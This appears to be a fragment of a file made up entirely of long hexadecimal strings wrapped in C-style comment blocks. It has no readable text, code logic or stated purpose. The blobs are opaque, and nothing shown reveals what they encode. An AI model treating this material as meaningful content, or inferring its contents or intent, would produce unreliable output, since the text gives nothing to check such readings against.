5dcd704d04bb3356ccb11c08e5b58a7ec22e91a19f60ef259e27500655a7007896602362f100583e9c86ea8b74cc94c95a9d9d47c11a89743eeacfc352d2316491491f741d1f1813876deb834267164bb5721785cf41b40ba52c74da839630fb7fc9ed0f713f5f149627364180d50f18dab1b99a50baef6065a0eacb9be55a6a332d198e6b12c6fa19026a37c3cc116dcb05984facbd386947ba39d861cbc02567ab361fe9130fbae7f3e4ba515deb0b1d2d2fd2a75505c3b7c148789b73b8e46d2c89f990995fc6994ce7c3b32f2e7863a972255d5b11d49ce79c6fec4074c63d1a821cfcf8eed8d7fc409b2d1797db2becf1c5273bc27ed36740a9abf468f9a0122c5c9761d5dae2c67a0d31583c55063a429d8d84ddf3ff51a12579663b6326c8c776be8acacb134c8d7cff75e8704951b4481e978e822c34523f6e482241206377b20d80bca17995c4deb25232e7af4aa7cd5c21bd72805533c3cbda05996c1c02f096594fb77c6e54ef0f47e9f01fcf6afddcf1dcc3e2996422cc3d3be2bbd65b0a12847970cbf4f20b51e0851db870c6cc058d543f289ca8e6dbb5331b701b5fb6b51966055a9e3630376dfe2b13e2c21c42222e9c9d1315d36fe6e5264664974e8a5ae1ac157dba5ba8c74b01405bad0bea53676bb7093ccec9f904b3bc6d89155ed7521b1e00ee57738cffd2b3b10dd0a9afc2e7a32bc6f614b6c2f0f102e663b11ce10c20c74fc0f0b3fc7f84f7fa0f5d6e59cb4b7072c1c577e4772cff2575167fad7610584ed776f25f0e56ca5c5fc30850111049f30e2b3a904bd050da51be5628f0bd3f2499376dfeb20c3cb78299b838221681311c07037357a918e95ae3b1706254d246db19813e8c22c7f7c37585dfb74e06944adc29b467cbc411832e9e64c705c9e4fcc76313ec8faa17f8bc052660e2198df4462978e7daa15d5ab51af0233f0e8ab4dedbcbfc895b9ef272126bc24ac781c9cfa8d75251e1f6e2241ebd96b05d1144b5b11648bd4514540926b0e3dceefda2ac0ebf2c8cd3f7bdd11970db86832ad66f532e1ed075d2268ecac1b34f24a8321a4958d7fc6df5782e1854477ab843dbff3331727c85b8051f20f616a90ca27d5e18172952ad791cd3bf433a59934a6482777b0c88cca8e4b609252a1e69657281110368e0b341493650026837181a57362c8032770f5066bc1e1c24e8c7cb144a0257fad662cec8973474c0f643b001e7c10d5b0fc268e82e11986b7b8485cbdef93563fd17ef17dafcfe3e2daf9b726f5da7e620f30accaf906a6b45e29bccc10b269ba0e9c38fc7172b57e14bd48ffcfdcd7d4fe101da989fa63b48c9dda218f456ec60de2ff56c8a427e1ffea82e8d92d4595c442428564d63959e6ea5c61953bd8406b478b06c4d3af0f4eaad5a8d7305846ed3801149bdf8343a4a0da0b42fe89e979654a10ec169477549644d2bf1c0bff68d0a01c2e07f3b2449c3287892865b2bd1b788f9c39f56517ada137624d2b065adc1cdd7bcabd0f96610c4f217f47a12afef6b4e3823a289746d667e06259797e250d9077f154eb920c1b767b7cad070387bf507a87201bc5074e02bc7b735eb1dc4bd8d718e0212694319f7137019129fc662507c8e342b166f406ee902b50160bfe75828348801dd8288515653db5bcfb2b04f1fb6560b2b027e605b09cc33b16b36649d6f4bb65b1331e2c03d6c4d9d01c544b739d0bbb7b5d0da4295bfe807c39ffb84a3cc9d9464c5dc9a496d14d6e8b26d2062bc80a385e00ea413339d8cae509c3e4d8623d6a864588a86d6937207b3e7d7ac1c93edf5992e3311bd9cf41b2e7a9ce7815821747f089a8b1bebb821926e8dc5371406648812c58d14c313bb32b70902e764a78813ebfb8aaa2fd8b8e172c0563f4026a50530a25756820c9807baa59ff5a63140da6dd9f64397488a4566b46f8194808ee1a2035f5683d937a476bd9e6f26a54b9077de3f0e1fb508804b5388d90e78987e6ec514598f06e97798c7ebfa1bf91c9f910ec69899252925bda916bbe438a4170a89f4cd*/
/*93ec37e9aaa6eba1dcf27474e7df710631cc7e10660c8cce10c4d3ab7168f22ccadace296f7eb8115c9b68e482d170a915e22280ba617fae834ecca8858444d434baf68336c7d92cbaca73992936ed1c4678feaba6ef56490144e17e8df0be00d1c5a885e900634655e3973a310dec144f4da509ebe8d1552b0eaed342a63972c5932ed6b3ee1ae1ed1f103fc610fa0f0f2b9e706fb0eb1c981b7ee891205a34e9d63d43bb4fca49899f79675c9d350bf3c0b16a5b09df6a056e828e1b5b4794e93ad4e4fdaaf06dbd551e4a3c9835930637be9fb84116e3bf8338b64a113634946b609f4eb5ce6eda54da70bb42b2f040c059fe5fb35fecd8e2478dc98c0420edb01e0a78350e3696a383bc8fb4d62b992cca91800254fc26a6e7c243ccc60b688a4184a202551f86e732c42d179ff8a17e41db534ca056d9a1205bdcd20c85ac39d2b6be6e505ecd1db053bca7fcd1e7d3110359ab8457c35e783ff16b742c7479d08eb311d0333e32a64bb154abb33d4fa68f0ba606b4fdf1de68c2f4e20299016cf3e4839025ec360424e3b165f1a6955d75d58eea431c1c61ff4e64b2c9863b29c1bf4e861c1378e42163d5197fc7121bc7b0d21c011f2396c12543a0ef4a13533a75b6356653b3849b1cadc17762e6a9b3521571d1c81812c32815cbf72610d99e6f1f7f9e4e283b7bdd8c6a7010d8c71406e70389fb622aafa527e2b0052c2f495a2a34112ed366a6648d15d95b10535570f3fafa410f9e483095c950aeb66f784175956fe2ac85afe094f3b33489441c4948c03b5234bfd568d58d58a0cd7e8179c83201b42da6a1c689ad24cf9e56d00ef2176fbb3b9471c4193b5fa55189ef9f5dbbaee5d1c34804bcc20c001823d55abcf6cfe43509c344fd1c7c4081d829120a4ff2bca040cebd1dc6900dc9a01e99738e49f00e8c02cb071741c97e7eff550725ca3814c446a9a4857b666d9f50d6d26c79dd5360550b2a1f26b8159f0dd0f4773d795c002d0a17e7fc036481abb09138dd76699a3a84ae5afb0621fe8bb72fe63225c708c7aa8a9d004bf76d8e75c55993877200a5ab7cf1a393a894ba8217476d4ec0ff5d4d39dee1a094c0c93eb44adf853f3fa0ef78b349f1d5392b821eb8d5c076ec5d2dd492ed6403f94c5bfcf9a4fff728e38027d759d96d27c28663a206a5c8714c57b65dbb485e255f6b8afeb7286c0f47a5f8e1d2aa1fc34c8509fa4133c05fae37f1d989b40dead1ec4b14037ee96ce75506bb80aade4c5396c607664b271c63cf7d5bef08aa2e1fb404e3a932afb727e475382bfcdbd899fb55221ef6f9bc3990ec4ce2e36a2c26d00ed82692f0e95dec1133842fd445ddf6c4ac67b9b77023bad81c2baca3c607942c49806dd82847f4d531dd4bea9954552668d215f30b8ca9a7b09d3dca255fa513b7090413e11ce021033c01a6606d254c9afd40e5bb1ff91a2fdcfb2108651373842c5b5ab0cb340d83b53304a1b0ee96db6236c80deeb6117cfa4cdae078202cbb31171c8ed2dc1d156e56b51d8d10d709dfbfcdf90ccc2187bd5be9dc7a31a95742bd11f71d60c152137b0241360a78f4010d8d4c8f8104dcb7a3ccc67e2b790c4953d1957289cc47ebd5774fa074758f4652542ef1c702c23146211154085beddc35b29629aef8bb60b90994467f6eda50ba2e059d90821d3133f00fa97ebe2478a3c7d729d0b165ef9007f7a93d9fb7b377e2b7a9d13a1a15b58ab3d38cd41217a6c84479ec4a7442f7f231fa5800eaa45b97a24590a7b3aba2afe6ebff87a1bf1171395df7b57096e1994b182d645c465609950ba48735efd7a78bf30622600594b953c47623433c457a9b21ee0788cc24b2d3bfdba4737f2855071932d531c26805c5f77bde9d51e9e87203bd8b4c9aa4ff9d746403ccbe28a8d3ba774c260a9f44b91fa128baa95f1f3f9f9577a97f92dd4bfefc89f62db81b47850ff971130d6bbc0996bdd1669cc7a4909ef93b20a82e0ccd1193d0c098df83e8be65db7e5e1bf4c616c5626736d03133ff05e2a2a8acbd63d8e1cfb8664e93070341b4638378efe25dbc901f6c1e46bd9d31b85a25c5b909665528afb523229cc126c0d9b3305605a7325c72cb9334eaaf2332bddb31aa9774a4948134f0e9a31e3f8d557e26a6561c56b1ea1954f54f57ceb663f75604fe7f642416db3b777488c790dd2b82ec0e7a008a6b8de5b7337d0ec9c0d63aa9ee331aeb55f1d567b147ab7cd1a30f3b73bfb4197958e1a8daaa46f42db24698470fe4769be8a07cb1b3d81b52487133cb82db105940fec7517fdf2ff5d2255c3a88d9aeb2a670766feeb9dc12d4c5398f49842797f69222107562e491825aad2b6f39776a897c952de48e1d3550d8de6e21198399a0851cb76298ba2ba53b3c460adcf3ee005818aee479723d6e189f133fd10c0584d32bdaa88de8a418ff8218b6d9f1d0680d9bb639e31a5ade16831012072d0d1a255493b74369256ac2448a5c68a2298f6bece64dbbe30015916c2ed758fb3d410de9c14653531965182c117894ec7b1060ad3aac7159182812b70d2f2734d3f2b178267dbe320e316e7b9660c9174306a15030ef4abdb0022cdf698650cb282af592db42f88dc96f5d52d9a18b3aed6c8aec12a1f56f860263e94e1106e4442efe8a33bdeb03e4ee7a0839fa3e7b222651d69bb3ab1b91f3e02e7619f9a15337df8c234b2b409e30d728ba9bbca1a3356a2759e0e6f989ece45d16e68d1fe84df34bbb83749a01905a21ecba51143762b242201e8837b7bd10717c09503f1e3b32131e744b25290d36be80213ba6b9*/
/*26d1b9f7e8814a4247d31d18617ad6679380d7a742a8cf6a44c776dfa57e8103e0f21d9156e73e66e7c626300dd15ba22daa736b73e46e49ba623b3e9e21c6fb9dac28963e893238a4372b612e9282f3a11d86b6ed1079ee4d390580c3bb76b0f191b40cec283e530daf720d9249ef19cf58a37864e412ae6b1df244255f3a071a51f37615a7b5c63fe5f19712c32b288f2d6e82e2b218aa70245de5e603e63bbff99d691b4fe9cdaa98c2fa6d4f0625b81f24efc88fadbb69acbb184cab6c3b5915be05516b629ac85cf857dfbf765dcffff77ad67fa8a0d8d1f5eb238f0fd203a06f9f39b1ee3ded318337c7bb3ee1e1f8d624cf5a2790adb2c4cf2aaa097eded309e2b68e4d6d4bf04749763517e4ad675e86c880c7d4d0c8429cc4bc5771305fae5db4db3af6f41748a047985b14725ea37e3a47e222739e788d96fb8f4eb1df54acd6f930633bdfab8a6e1254d938a55c954eec9b9363e2967a8c6eebfa2dba140101e7400252896b7343c860f6c808cd5e84ccbcf5b1fc6b2cab637fbbdf4827465c6cce65c0fa74e8b5759c13d19e7b2d5202a1fb70458cb9b9bf0b9b4fef0c8aecaf81fda08b6ac6f423f5457b1e29664d91630df91219a6354073126153644f15002cf086a02c57ab8b1bfecce92d6c30082efcbe8a0dabdbd5435ea294c2316426693be8561bb2b0691500d99c66bcdb50b646adbe2627a1b96ffe853e5172a65437a404c247529df470e883660a547f16d6799b23aeac233c8ab76e34110076d4069e4863b60804a96f22f1d4f734fbde93f8e49b1ae1cd4d507547eb9cb8cdb8acbef3877f281b193a3dd54300328ef52f90aa1aaf4d2a7c20e049fbfc5c9542905122699e7d1996f53616a21391ecdded36a28a1ba0704a1fab9ad22bb776defacc146fafdc1995662ffb3c083b475acffc7c0ab50b9afc440937db4fb5bd7d3712dbd752e220b8f36faac6205632a0573ecff140ada63d432ff92089d4a7d00f05e6cc4a0a925abb96361b00d9d2b040911a6065f83393481c9ac6cc0f8ae9e08bd4dccd7199dcbc4b8dc0937650420d671cbff1156f522fb299a609411c5109b4ee1103be6cca3dcd8c2bc6ebe432d910cd7173bfdb31b4a15651cca5d2d634fcb48da8003e7b074b1ec121742982a38b6c1aaf114d36480a416e4b0e3b40fe4533c7441b3388d56d8da24509cd94599eed7c58b863a03b93b7b5a4ca9b3ed5aa46938bd044d20484b370c30a565bb78a5b32e8ac1708f5ddddce4b001f1f519407f3efcb31566e64c3256626a6d22a14604360ee9a7a3f04c3710a1d0dc941be6fe68220b73fd5312403835c01dac42a0e3fa2ffae3b8bf2bc77af3bfd3b079618d6f98ae60b45c91ee27f8d9be9926d3374e888fdd04f835af3644ee431b954ef4c990fc6966894ca8a6db090982258372dd064e56392e71f658efba254c2083b70880f68f0d02dd8efc31e3b05471aff897714809909af5bc931d8590d5ba9c3072925e364be84c4f87dd2eca93a222f4c8fa8c3d71ed634a1c910c94ac6415a26d09be2a908318cfde3fe40129be40b374a0848d81f4e45b07395369cc63b22e5483d6af8675dc07509afdbc32c40f3a393a9e8ef1b79e577b18df003a516db40860eb5258fc9e06cc04e97a7c085ca456759595e3d8c8823c780defebf5cbf33ececb6e919011ada41231d220de3b8c7ee7f7565969c4e3926ad4872853d1fb07a436087fa414f6da1e6cb99e79c1346de3cfc3a7f4641af22d069567a5971c9df8b990cd7fd948967d3ad43ecadd2bb4feb200c99b53935ce2164d33392a5e94fcb1defe8d8026ae888202010f4a325bcc7ef75891eefbd9bbc9c0fadbe77bfab4509404e30a3b3213a24f0296ca9f12ad811ed240494e25806f72279a03ba555a840e2974773ec7fcc8a20df9312ac5e9a6e887575d8d7850d63dc8d8990e070021e842555732b103bdb86a47e50b38916e7d0be680c0f786294fdeb2d42c7c6a6cf0e0d92c2763a59405bbd6937ad0964728802651fdca366ed8fc2b088abdc7775df446dd2c09b0d72be59d5f225a6722732d57b6956fc47b53b660fa00d76bfcb2c09d195b9d49f58d48ffea8c2d54c73c4e1de2216a7fb27ccd87ab0d9fc0448932778cebb2191a0d2a9d7a91f36208fb0c6416c6996a14c584bad8d2d83aab23be9638ccb85fc0765f9c6090da029e09ff581a774628c0861a7458e6755958b711bbc9c939bbb449cc2290ee3126315a15c56b94874725de62866855b36819725f5f59b19b41eb0829d4117f48259453aa703067f11d77cd8c8d4e362509e69a25a06b5c7ceb124bec62e4e5cc31d32774e8fd7bf959658e6cb1e9115c8dc62434741d0e7bc5321ecae6d7e13f2e4adf7bd90a2e62620881063bd751ada601c496cf3fc99bfc6e6ff5dbef4f37a855dc4f5e9c077e718516705008dd01b8cbf33edf7ff5af07e2f3eaf75cf619b54747cf6d267288293078238a021925121b836444ce731e6bb2fe52e5fa2313645a5405ec5fe9f98fcd232751a1b83019f186435b335496aca40f1dff33c4ca264d741351073dfd7b9be36d0ac2b7570dffe6911d57e74bbdbefcc9bfb5fc79ddf9584317e9b59016c23a136c9dafa310a59be148c73dcef04eded54df78750cc47ea158d7f0a64e01fb6d2e0a919c98dec699a0f8053d114c743a14ac84e72a2fb93232d2449a21d520d1a2b7d428b99a476889c70f7ff4327de2353f15cd7c8a04a252d76b3917cb0e1c2035c97c03c7a91a38fd4d1f74eb38a5fe130137389bc6aaa21515e6686b74bc2e650b995271c8fad0e7*/
/*fb7df3324a5aec2fd16baa0a3841954a4160d818dd85b2f6784667a86a12aadbec4c2eb84aa34edd1e35f0edc32e612eeb7a4eb29048be5af356181fe39e724ddecbc01c2dad618f578aa070b8f04fc853b395ccb5c87d82dfe72e3ea062341ead5e397089207681d05bbe69cf2f667b7bc2d283e8e74301f967a904170708919c1b0fb58c8653b45b0082dd8d310ced65a811d244e03171efba2a1e95f494c5cc7e2d42b8c06674b4e498dc3d25c473bd1dce9181b68a78c129cb71d25160c85ea1c762a8470e10e53f4fb16fc3f39ffc405c687486d5ab51e440601d659bac6caf23fa536d41414f93aa3f3b3eac656a499b0ed9a9e3574f8bfbf1092d5c5766ee51e7858afd97b14971ab1d7dfe9bf9873e23a3d430f7060b03398a1398eee0726edd8a84c001c3052b7e4d8f80abd0f96f3a97f708d9fde2555467fece7af7c00acbfbc0ea1fec4da99892364b66968d745b32b805d12cc6df3ba174b017425ecc6c74dd80b8cd2e80e7eca25aabd1e5c6de0cab1125cd6f8589ea3462c51a6262f0def5e5a1b525f3a14438504a93b596b90ced088042dd0b243130343fb8716608d6cc6e7d62c83e6d9b53c77238499b33c1d2cddc2cdf4da9f2550e246b14ad0643d2039257900978042f87f97d973adbd020575347f3ce6e93264c8d6b1f9e34bf90c19221535aa1862c3462b2f01b019e1e102eab7eb4d9693cd98ba1b6cfbdcb62b94d2ca71fb536148c586dc2ba8951672926d294807b6dcd418f53c4bb07ef8cadc2f0dc6557463e1d1ec1137a5c06162a16be93df4da11d00686fa359dbbedc7a3702f1c8e9d34113e153f7e8e7cb759ddacd0c15fc79b069903522cd88fc0d907a647c5a4ff84c0796752509a9b882af603a384e39d5ba19ff2be245efea78e825b4ca1faf65f0e22101a921943e3c49ca47f4b37cbfd7f54a01c2d4fcbb6cd61250eed3e6282286f3c5acab607d010d79c9ae1697abd4dd46670843514359ad53848425b7b32cbddf072850a166721bf4a65d6aedc5959db6aa344d1af70496f9bd1168aeaafe30d5e36608d5701b5531d188c95458f32cf16eb52cf54f71e07e0eb82fa6ac4a89ff19cfcd5f53bba5c9d584edd587a739e5b33bf7540e7fc9777089fbd3a9f7b17f7afae6f791ae393058b7133d7d8d0c77c40b9c59621a50f586de8be58c1fdf59271fbb20eb580bdb6a69a045c291bc2391a14c5b64dc610abb10fe52839b0ecf0dde3ee042d95a261f0f91c567b2116cc2df96df08364dbed28f1cf720869cb0e73584c32bd0600055cf1e44ff052e647d5cddcd31c78c231d1188d4835aa17554391c04384d379aab83dd166bedafc1a551a9a8e6f86c980ea2cde6ae0dc39ae464675a1ca2d9dd10304700e602dedbb841b9772f6e9556972b05dae6e59fab542ae36861f93d49ec530a4c38696c053c1be0c9104d91a90dcfeff8bc3c420c683748c228e58c0ca0d15b9a06581775a91c982ae904a6c3d147f1982769af0dbe8e46b1c621aa727ffb63c07af3116d6ef24479776c92c2be5a9ff2ac96edde3340fb54e48c848baf5f62a2114a5e7e4b295dc881b8f04cf0e1e99cc5321bfa2357514c8e84291f3970e79edd697a830ef3d9e75843618b3b836522a73d5e0ff58156caa1e45bc97226e9e7c38ae9a244dbea4dad598ccfe87ddd2199b5aa21cff1b9cd18e2c695502e37f8297435d17580c7be492577cb1c9425f429d3762219e9891217ea2d2c52eff6c7398e7a74917f222267bb1d3d12bd3c32a93738c66d44b85402023538201086e53d270616fdd77d1e9e6a87709d8ee5a48cd6a3c746608073763bd3d9e1b5056b78b10b63922eb81ed046029574aa035d660d7904bac28c67476951081cbc3f233fd65afda880540e1f49e408f762ddbaa65df6bb636fb826dd9ea469f06365de18da99a67c3adc3995ea28d05a4b4ab3f0e8f5bd1ef79ba9ffec961fa3fc7de9ba035c6f00f82700a9b1cd3a0694285a9cae486bb9f5082b18fea9aeb217da20a7df01ea99ad8ac48387e3c735d9ac5055e226f7017e7004186779067f4413c1a38fe32528122093814ba4d6d3e906a42b0975c460338df1558fe15d6850ba9f8a15468b99a39be901d8c638bbf4257a8504e31cee5f7facd423fa15a7f9b061d3cb97050317c933d252fedf1b21a681a268df012d919cee90f153b5caa3b69571bd10b891cb9ffa48d51b967eca61b585e28bdfb4e76f769aa2f6f748682b7fba9b74b261b06b9378cd47a3f12266377910ee0cafadf0e82ec5ea56da4236bb1323f507f92b2f1b07226b400f53acf72225aae39599cccd687d3f54f295544150ab644fa3a9a1f01bf81d9904177e44289f84ea993337f48e2294d1f6af87c8d546693f304f3ed380a2b263d6e5c862a2637313c965b686442f12977c76278183f7e0f4668b45ef17c99a3a8b22d3b32de289f63b791d9d96f74a992edf4bfe613e9b21233cbe6cb7a9d554348c02748f3b60358d446150d715a35274d164f06a93c1ca27d3c2d76dcb670b6f1ee8881861d0eab26b67361c7e05cc610de0828fe8569cfb8d458f4c02f1aacb6fb318ec4e38e13897ad4a388b4f17b2517b793179ba1116f632702fd5ca12af6a13203ecdd758da26c63ecdde15d783e6f51302a52928b18988c84f9379109bcbadb460b563e940fe618d51324fa145fcd4236b38fddc7059f5505ef0baf7d605efda179e1594335fc7b33266972770e31145246e923372377fa0096ccb6e099632c21a61baae1a39cb3c08aba0aa42cdabb857c7a8c951b4f7a8228aae2c45315eced3ff6e73*/
/*a44f51240db46bdfcccf5333885fa6f73664a2fe8d38d47f0f7c93228cec0e75e5e06dadc76f87f5d8245410c32cc9a3917921a01fc7f5242690bfa856fa96af087960693b511936a913b3fdfd6961474467e8d3b55986b0c3fd151fc592e8c573f88ec5e61cf6ef481c08301d356b47ebc108d0bc43f94750b313b4a1c064927eef1d9e24ea832f7dc569d3091a0b8eec1804fbb8e5f647ecb7460278c6a6d814c60eac8fdf5a09c427cb159852970a8e617e3636cf0fb2cd0c746cdbf5707c750111fe60fa942f7420755582b3584692fa5687ae802e7246a399802901bb0115686af974554fc892175ceb60b70171f205df9bce0316fc17a44e928c1eabf0e8c255d4bd7a534115255c9c30f26033c276a20b1f8ea34edcef8f83ab6af4739bbf781494f62282d75e7c42135b304f75a686036118077d7922a27266dbb7a4f6e9bae466787de54d24bef82e58d611816f61f564f53cdfdca58650755bfd82e7088ff38441718707c29e2238738f7e70988a536b0674794907862cfc79b685db3139ab7e80856c346f949e4d4666cf7bc6a9b6df01dcb29d35a96eadf15d029072090e5556aab9dcd7666306ea58938f7255fee06967ca5f4c832d378ad897c150f025664d1fdbc80f12a54b897a6cba8ea64fa8ba32dbb484f2e44833a90cf03d13b92917d3164c9b7378ea307a26eb818261aef6858b82b22ffd412aeccae7413075f12d63abceffc37c27f6416c89935e0abf8b64905f26af2fe4c0a249ac69b393806af3599114e437d8de6c4d5696f748d88d583bd70bba7b20f306f30c7a80ec49f90441431931c00911ea2ceca1cad3d05cff67ee65baa5baa85c4970e5c5ed7b36123d3127ab4b46e4bbe05c5131da31dac115d5055f0c2821336fab5b159d3267955f4088aecf3270cc8ac846af9c7d95c85e32ce763722039bdb7c2f0833a39ea2cea55bab1a3cc0dbba8f06dcae251c25a0c138a8a76b1a049bd33e9c6a9cf74fcabb5dbc778611ffba5b1c47de9cb282de84d03e956dad02420dfbee4e25ba1c61a8718e452807e513af133a110990ce3a7d6320c583c80dadf62ed15e107894357fb926262204130885f0389ed3bee0415ccaba15e9fed99d9b3ed1bff30f0449ced876f5bf1fee98d73a8bbf8d07ff3230ded7d911b45794051e486ba15ab1553b0a39f4c5b39b97163d194d539caba2d435e8f8aab9f3999f6fbec54b17d76d7780df3c8dee8e1f0fc4e41f1683c4dbe416144263fdc23306fc0ef2dc967b8cfee96c1881bdba818d35676942aa3da1bc071dc599b3f7c937e93bbba573e664dd586af71eb2f4c10a9ede78e130a506b0b3d697653b40d74c48145cbf21ac4cc12d772fb3ea992689aaa8da9b432a39ead77f97ad19c48ca31403a76d6c906b513f657987c8ceb4ca2d912fc783e599f86de17232d399a5fb2759e4e2c0dfe44282ecd2a3c631f0ad23df23930c1beb7475428cc104d48fe571beec001b1bc9032bbb51d08be21ee0861a523fd13f50f4f393e832f59e071cca1b29592684165138d9c05544fb33ed0fcf0ca68b179bf9b391597f0533aba2509f322f49354770f9057fa58b215046b9e3801a4cbb84eb2ca1795d7b8bea72834d04ce5931dd62dea916a2355b6e7a167e97c8503a806aee0ca751ed2c9abe1877f9f157486c1bc4e8295f907620c776f472a346c5e54a270494a611d54a48ad94568116c34f302e893e4c548b799a5a29055d795a25424e0105f1c6be751ed830d02a00d581e772a5c93dab3837b71b308052b3e897b7edaa4c3fa4815065dcd9b6a3ef7f631bc00a61416767a16a98032999cd3a0b1f3df3aaa08c88738fde5e7645c279792192b1368fb6bbc4498227e598f0966db2390e71426dfdb40da2f747e2c14f7f0457eb92b99f348a54a017b0909426e541b9cd83b30539d6c164f6bb12ce4995a28b02b78370fb0191ba2caadd9fffd54c1ed726fd18d0e7ca5b042bf0aedc285e3c5058907da0e5ee9f8caea3ec6af21003d4d6d3885db7c0617a721d74eaa92af49c444a94f5b314fefeef3ee460db06d94415c2bddf226a1f0a034e4d335bfa880b7ba00c6baa83f7c424cc05e5d9733c7c515130d590e2b22d346914a86235e96d36a76c660618aa3d012a9e1d826d042d75930313b7a091e480fc6ee550184025f65919212f82e0e4370e240057ad1d0a8126ce65170bd86442474652a445207b9ab6ae6ac28673bab9abe23e948098277af0f88475cc766c2924d1410f36b729200fe8b21afd8784703a285f1970e1583e41bb53e0ea820ea9ce6a5e0ed8d957380c27e35cf6d1dd834b609cfde83daf8be2af20ae564086c460ce8b7e482358093dc2c095b689e291a550886c60616d618244ed41b7a669241b1ae21259468ba5ae97c5e6301a80d12e739e347cf861114cd30aa2d6ebe52b0cae2d6946653942d66a1331365ebb01ecf4a5388f654605fc3a1ca6193c219242591e94dbb26220a96772688ed1526239d39478b4e4d6d23f96bdeb1ecc4d7cfc4587a9b430bdb7e7a5f59f06dfe5228651c803d60e96373936132979cb6f6a5e22754fc048f41f95eb6d1ffcbd9defa03697fc7041c44c0c9b62bf1ceba65a673bebb1e7da4228d0919917988b9813166afaf8bf6f840320daba67ad35a3ffe357b6d67aeea9c12574a12d42aeeb685cca8364217d029ffc44b5c9256886476783599a154ec12fc9fbbc352db1ed2d5f7c0953883656a7071ee495e31004537d287b2b57299bed1cad77c777602834050074ad865954959a301492a005bf212e98543bb22b0c284a3d8bd6*/
/*4f61cfb6a8cbed6246dbadbd00347358cb9c2168fe5df2c6c3edc495cd3f3cde749f35ac00409cd222594c3586ccc099674c547f5669fa6a0666b73857fcc1e601e59996862c3cac95777a9cc7f7ce0912f887611df1f2e042c0479f50359a3a616813ec5bbe842125e64941bd900a319bb474466fa555b4fa1df186cb48f07adace98494c3e2d2e0d23555a6cc8fd794d648938b997a8b540e3de70b0e14c1d21a61c31e0e5aec7c53548e91c8f8f02c7462c601cb61fa0738a8cf4c6235f993b1195333e09e7021a535cdd111344106c959a5d1dc22af35b42f8449b7b73c44d00963997e5a6c707c403e16d4c62541f14e53b3e6fb01ebc7a78451a1a5346a4902d0dbcc45f16f3c7468259081817770ae9109d5ecac03331d0a1ddc80da271111f2d7ae654d3763c8ad1a7bade81cfc051dc2b8242420883aa949abb7ddb262401a1be62ebcf0cf3c649c5a5145c5dcd4c6bbe81a9904b66e7ef240a9790054a6f12725c49f70779fad0467f062cb9d2c8a7052366e7f9f38f4e5acfbd651a263c2c829338b3b406ad021b8a40c15b462c8b0cbee22cc833835482ef6f2a4840e56fe10e6acc417dc8a6f54992fd884ba652989ee1a35288bf7da0ac8ccb8859c4d3e20fc1b4c312b61839b739d68e6230ea2ba0dd1fd4fa55fd84f22bfdeb4beef3132126cd825e4da74a49911c901ce8b7ca90f4d1b2b79f8ce3f7f8305154a9fc0461927a9560ea6e3e1296948c616e0674a7b2b5e8a11a470ac8e75766fbf41334af998dab88fd944d6883b5dc492b2c1cde8aa7d5e37101a8697c74a8a4b20cade63bf3d26d2aaa6b16779766bf9c5b1ed1bb779fd5e9ec743e151ca9e8c91a43a7b412f2103f0cb7997fd45fbffe2f83caed80ea072ce6a5d74827cd7ebe51075256e313e06ac5f2ca3b6ebd00904d193f077217c8b992962ce210fca9d35b40c87b3098372f8dfd374c3fc6c6648072240cfb896aa3ea8e650bd5bf12e3c74f1fd13ae2d96748bc6dba509b202a70358dde7e9c4c7c535c476a6849b9490e4e9b5d35e4320b0318170aec5f2341df9e574ada123d6fdff950740e9b7a0005eaaf55a5da920f864782098c607ca34ae8090f28284380e11d16ce69592ee1fc63a5ff5fc4fb56efa9c86cbf99d33aafd49bfd582133a8e0ef1baaa9fab71924f54b7ea1506494d3f8c5fb0a1a9d37f40bc06973b0603d138fca000a53286ae1c3a61c0d3aee70cfae4d6b276e504382d622330266c6a887bcad5df46725b14e2fb715f549be9a30e229f0827c51c617557d00d9e602b629ed3dab7c5a315eb29b6edc767233f9c8618387cfe5c4b17168d59f328500343523c4d8276f33a22cd671d74e7e43878e8451d20133f680e958afd2f60abf27b1567806eb41411f29af0433f3ea1e8e130c867802227212ed856f91bc432560898bac79ebc6bbcbe153c80f651ac88c5b6797dde67511a3190c06682e9789817601dd9061a143e69e8baef01a991a9b175f75b792ee7650f21fc6eed070ab119c147d28fcdd3090ef588cdba450ffb41668cbaeea883cc5bda082c27bbe406cc9aaf1936aaa31330e2bc76ba28f1b4773ceb1403862b766d05de37f526e03c65c154f121906881b6e8cdcb2b95b344a404289b67e19a5e7843b61e1164b1d30178c67676ad92eb4b17aa552be033f2e3cd4cd5b1d7f8c4345e95906c277b76dfabd9d9045a75c9cd8be608b33ca14ef62f4d4387b0d4394984c5dd39169704fb690c6cc98cacfad484231139e4fe72c8a3cc8a747811a8931f6bc9bad278e9f83d684b128185568e259aba3712267dc846140be0cd8fa7d13eb01afc694672a690fa385e487317fd27d9a1b32a8e12d39c7b40ba593cf97d66b1b581b8372e4c3715d310373af0d49e539f3a8efe8c5311fa7a1742148a4268ee46e51b3b7592e8746cb221657a6b2202e4d7eafdcf4e8a57eaa4023833dc859d056b4a2305acef57b605e07018283f16d84207823204ec5039b82de36290c9bf175597d2c1589fd1ac035a413cf4461239515f3fd1067128d27ed42dcbcf727317260036b98b054f2de2d41248de80fda266404db67d6226373812241dfc8e9875ec8a3da3b998d0aab699174681a2ade44bb0512866029a4104321d9d44708af4c16e9c82ad0f36d5b1ef03725439b687023961e9a445d0bf969cfaf7c76d242a7937247b012993535424f5680edce4376792cc6b75a39ec00931306e980a5ac0e360aab263660c03c90a4057ff518c567105c3a846fc69344380cc67758f2fef242d16bf5caa34af35480bea776761e4366379c6ef83f0094a1aa41401c377f5afe2c7fd936429bd88c5cb7eec1f28ba7f194413f190d356a8d7c49d2b944d85a879cda9628137c23d491938be7a33f197c0ff870197e398fe1a67b29e8bf9ad811b5fb5fe1728e64b9d451068e7bf664d48d2674d58ee366ec6d207cc7402d6f97b7deb37463335a1fe860772c04b5e165f26ee25ae418ecc868c9a6873a1e4440ec51e8d7faeff3ebe4b28532d10678cf65d329b7f5fbe11b3eccb7db79f1138b2b09dc107444cc106c652a57c5a6fa1b44a268850d72c78b6ceacd962ce6493b32bc259db06d27a874179592c5fcac541c4866e427505c9104ba81654b617d88f5aa1f9ebdd8a2cf0dc76e518f5ed76e3a110eba4e87493f753bd0041b0af3fb0d93ebd094189e6171079bbcfba3afcb79cd5f7db1527ebc1e0730a0762e7dd4a1174cac26b39e5e6ad874388a7defd904b95ee2a60bb8c0aee7bfef2d4cfb157ecf4de58923060f1a0ffeedcce93afe986038536065ab00*/
